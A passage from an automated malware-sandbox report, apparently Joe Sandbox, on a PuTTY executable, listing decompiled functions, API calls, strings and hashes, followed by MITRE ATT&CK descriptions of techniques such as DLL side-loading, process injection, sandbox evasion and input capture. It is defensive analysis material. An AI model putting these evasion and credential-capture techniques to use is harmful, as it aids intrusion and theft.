c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list)), xrefs: 00007FF6785F9AA7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list))
API String ID: 3015471070-2883471717
Opcode ID: 1f8e08e8db5f812005c54b442ea56d0b4140d6f98dd6dbec8a4671db2507f039
Instruction ID: 1612712d83b47e7b14fee34527bd1b6e987a69c4ade0c06cf0d65ca9464e310f
Opcode Fuzzy Hash: 1f8e08e8db5f812005c54b442ea56d0b4140d6f98dd6dbec8a4671db2507f039
Instruction Fuzzy Hash: 2E11DF33B24A2691FBA08B26C9447A93B90BBA5B84F658035CE0D87790DF3DDC41CB08

Function 00007FF6785F9FD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785FA06B

Strings

c && c->ctrl->type == CTRL_LISTBOX && !c->ctrl->listbox.multisel, xrefs: 00007FF6785FA027
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785FA02E

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX && !c->ctrl->listbox.multisel
API String ID: 3015471070-795294906
Opcode ID: 0b340bb8710d75010c8b75403d4adb33775eefad0a2dc6dcc00247611cc3728a
Instruction ID: 476cf37351d5991f0fe73d4ec2b08dfa0baed3435c4c7a0efd550f23399f05cf
Opcode Fuzzy Hash: 0b340bb8710d75010c8b75403d4adb33775eefad0a2dc6dcc00247611cc3728a
Instruction Fuzzy Hash: 6711A223B25605D9FB618B26EC443B93BA0FB55B99F949035DE0C87794EE3CE885CB04

Function 00007FF6785F9F10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9F9B

Strings

c && c->ctrl->type == CTRL_LISTBOX && c->ctrl->listbox.multisel && c->ctrl->listbox.height != 0, xrefs: 00007FF6785F9F67
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9F6E

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX && c->ctrl->listbox.multisel && c->ctrl->listbox.height != 0
API String ID: 3015471070-4034055451
Opcode ID: 1324725a9ff61d9b3b6e02095e2f27996e4c3d528beff90453ecb7ce8199f2e5
Instruction ID: a7551f32fc50e5e22fce0e30ff872b88f255afd9ea09ff27d29e6c574bf2f74d
Opcode Fuzzy Hash: 1324725a9ff61d9b3b6e02095e2f27996e4c3d528beff90453ecb7ce8199f2e5
Instruction Fuzzy Hash: 4111AF23B25B05D6FB618B26D8403B97BA0EB54B95F588035DE0C87794EE3CEC84DB04

Function 00007FF6785F9D30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9DD8

Strings

c && c->ctrl->type == CTRL_LISTBOX, xrefs: 00007FF6785F9D94
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9D9B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX
API String ID: 3015471070-542244468
Opcode ID: 638900d4bbbe74fd839ca0784a1d1c645808873d33638030f784285a59264cf8
Instruction ID: fda95dd252dc8b364a7dedf198d9fded0ae75c59af2bbdafdd56c5f0189bb3b9
Opcode Fuzzy Hash: 638900d4bbbe74fd839ca0784a1d1c645808873d33638030f784285a59264cf8
Instruction Fuzzy Hash: 1611D333725A05CAEB508B26DC403B97B61EB98B99FA48035DE4C87795DE3CD885CB04

Function 00007FF6785F99B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9A47

Strings

c && c->ctrl->type == CTRL_EDITBOX, xrefs: 00007FF6785F9A14
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9A1B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && c->ctrl->type == CTRL_EDITBOX
API String ID: 3015471070-587671386
Opcode ID: 367a966b6e37a6fdaa1772d553b07fe266872019545f1052af7bd23f7f29b435
Instruction ID: c863c4bd18d09ceacf0b27c4de19adfc7c8a5c477af89b0e9cd5751013000e00
Opcode Fuzzy Hash: 367a966b6e37a6fdaa1772d553b07fe266872019545f1052af7bd23f7f29b435
Instruction Fuzzy Hash: 9C110633B24A1591FA118B26E9005666B51BBA4FD8FA08031CE0C87395DF3CD886D708

Function 00007FF67860506F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

ClearCommBreak.KERNEL32 ref: 00007FF6786050C8
CloseHandle.KERNEL32 ref: 00007FF6786050D1

Strings

Error writing to serial device, xrefs: 00007FF6786050EC

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: BreakClearCloseCommHandle
String ID: Error writing to serial device
API String ID: 2685284230-3232346394
Opcode ID: 7eb12c439e672dc5fa65efc19690cb1d9c5bd28e323bc0a838643cf16d101334
Instruction ID: 0681517d07db7a34f1abd0560747497029a953fb3110214f69383ad98909785e
Opcode Fuzzy Hash: 7eb12c439e672dc5fa65efc19690cb1d9c5bd28e323bc0a838643cf16d101334
Instruction Fuzzy Hash: 5F218A2762564292EA249B36E09437E6760EF94BB0F244231CBAE877E5CF6CE845D344

Function 00007FF6785D71E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

ShowCursor.USER32(?,?,?,?,00000000,?,00007FF67860E2A6), ref: 00007FF6785D7235
MessageBoxA.USER32 ref: 00007FF6785D726B

Strings

%s Error, xrefs: 00007FF6785D7249

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CursorMessageShow
String ID: %s Error
API String ID: 2689832819-1420171443
Opcode ID: 56ba602abdb3264e2971dc15fe112a15410bdf86c2fca282f0e8dd9a99c60566
Instruction ID: 7aa954f3537f8b88dd36e56a1af8ed2ceb2824adb2214417a7946f9297beab83
Opcode Fuzzy Hash: 56ba602abdb3264e2971dc15fe112a15410bdf86c2fca282f0e8dd9a99c60566
Instruction Fuzzy Hash: FC11A322E3C686A0FA409731F88537B2F90AF94BD0F705031DD4D87766DE2CE8429B08

Function 00007FF6785DCF80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32 ref: 00007FF6785DCFDC

Part of subcall function 00007FF6785D6BD0: DeleteObject.GDI32 ref: 00007FF6785D6C21
Part of subcall function 00007FF6785D6BD0: DestroyIcon.USER32(00000000,00000000,00000000,00007FF6785D6077,?,?,?,?,00007FF67864A920,?,?,?,?,00007FF678613528), ref: 00007FF6785D6C32
Part of subcall function 00007FF6785D6BD0: DeleteObject.GDI32 ref: 00007FF6785D6C5B
Part of subcall function 00007FF6785D6BD0: CoUninitialize.OLE32(00000000,00000000,00000000,00007FF6785D6077,?,?,?,?,00007FF67864A920,?,?,?,?,00007FF678613528), ref: 00007FF6785D6C70

Strings

Unsupported protocol number found, xrefs: 00007FF6785DCFCA
%s Internal Error, xrefs: 00007FF6785DCFBB

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DeleteObject$DestroyIconMessageUninitialize
String ID: %s Internal Error$Unsupported protocol number found
API String ID: 1151367991-184558026
Opcode ID: aaf80368ca53954cd90d1eb702873e0f1aa82ef3957093735d968e88b12884d8
Instruction ID: ac32fc62d22eeba0b2154e2b515ccb06d2ec1f6c27f6432ac25036b9a2e7260f
Opcode Fuzzy Hash: aaf80368ca53954cd90d1eb702873e0f1aa82ef3957093735d968e88b12884d8
Instruction Fuzzy Hash: ECF04912E28507A1FA58A771A44A3FA5A919F44780F340835D90EC67D6EE2CED46A35C

Function 00007FF67860D020 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678616460: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF67861652D
Part of subcall function 00007FF678616460: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616576

RegDeleteKeyA.ADVAPI32 ref: 00007FF67860D06B
RegCloseKey.ADVAPI32 ref: 00007FF67860D07B

Strings

Software\SimonTatham\PuTTY\Sessions, xrefs: 00007FF67860D033

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Close$CreateDelete
String ID: Software\SimonTatham\PuTTY\Sessions
API String ID: 3931322244-490553574
Opcode ID: 4b1984fb7c262d7d20289c66f2bcf03e70f15f26a06c3254bc2e2c9ddc0dde6e
Instruction ID: 0f631c0769af7044e52e687dd3a4c29fdbe8036fd3945ba89d5ef74c8c0bc354
Opcode Fuzzy Hash: 4b1984fb7c262d7d20289c66f2bcf03e70f15f26a06c3254bc2e2c9ddc0dde6e
Instruction Fuzzy Hash: 27F09017F3D11220FD16A73666153FB4A411F89BE4E244230ED1E8B7C7EE2CD842A248

Function 00007FF678604F6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

SetCommState.KERNEL32 ref: 00007FF678604FDE
SetCommTimeouts.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605000
GetLastError.KERNEL32 ref: 00007FF67860500E
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,00000000,?,00007FF678604C35), ref: 00007FF678605024

Strings

Configuring %s flow control, xrefs: 00007FF678604FC7

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CommErrorLast$StateTimeouts
String ID: Configuring %s flow control
API String ID: 274883806-3277764455
Opcode ID: 719437e26983418da532ba82bb22c9a866490e0860abca4019a22f30a6799b5c
Instruction ID: 3919fe197c6d0966ce383f44334226c2c21c2d0b99768f7b0babb6194a877dd4
Opcode Fuzzy Hash: 719437e26983418da532ba82bb22c9a866490e0860abca4019a22f30a6799b5c
Instruction Fuzzy Hash: 11F0A923E2C602A1F9219B31D44417B5B50AF85B84FB09531DD4DD6648DE7CEE81AB4C

Function 00007FF678604E30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32 ref: 00007FF678649A72

Part of subcall function 00007FF67869B8AC: _set_error_mode.LIBCMT ref: 00007FF67869B8D3

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/handle-io.c, xrefs: 00007FF678649A48
h->type == HT_INPUT, xrefs: 00007FF678649A41

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Event_set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/handle-io.c$h->type == HT_INPUT
API String ID: 1844187620-945550184
Opcode ID: 34eab87568b2f97d5e78bd25981b66ade2e13560c7c1c26ef2be028d2d195b8c
Instruction ID: 0852688aa2facb521d6b1b09d2ca91042d99ed541c72e6b6b7229622defc83aa
Opcode Fuzzy Hash: 34eab87568b2f97d5e78bd25981b66ade2e13560c7c1c26ef2be028d2d195b8c
Instruction Fuzzy Hash: 32F0C813F2914161FF359735E81877E2F605F887A4F644171CA0E826E4AE6CEEC0E308

Function 00007FF678616250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,00007FF6785D51AE), ref: 00007FF678616298

Strings

kernel32.dll, xrefs: 00007FF678616276
SetDefaultDllDirectories, xrefs: 00007FF67861628E

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc
String ID: SetDefaultDllDirectories$kernel32.dll
API String ID: 190572456-2102062458
Opcode ID: 3977d5c47726d2f85b452bdcaa505178c3a3fa69f2171c5116603cac5906ebac
Instruction ID: 18d35d69c3a04ce7c8b15bdcb02a86a172406a2e8d88a98de27bd194d7237a50
Opcode Fuzzy Hash: 3977d5c47726d2f85b452bdcaa505178c3a3fa69f2171c5116603cac5906ebac
Instruction Fuzzy Hash: D3F0DA1AE2EB03A1FE998725AC563322E915F68300F740935C40DC57A5EE6CED55A718

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
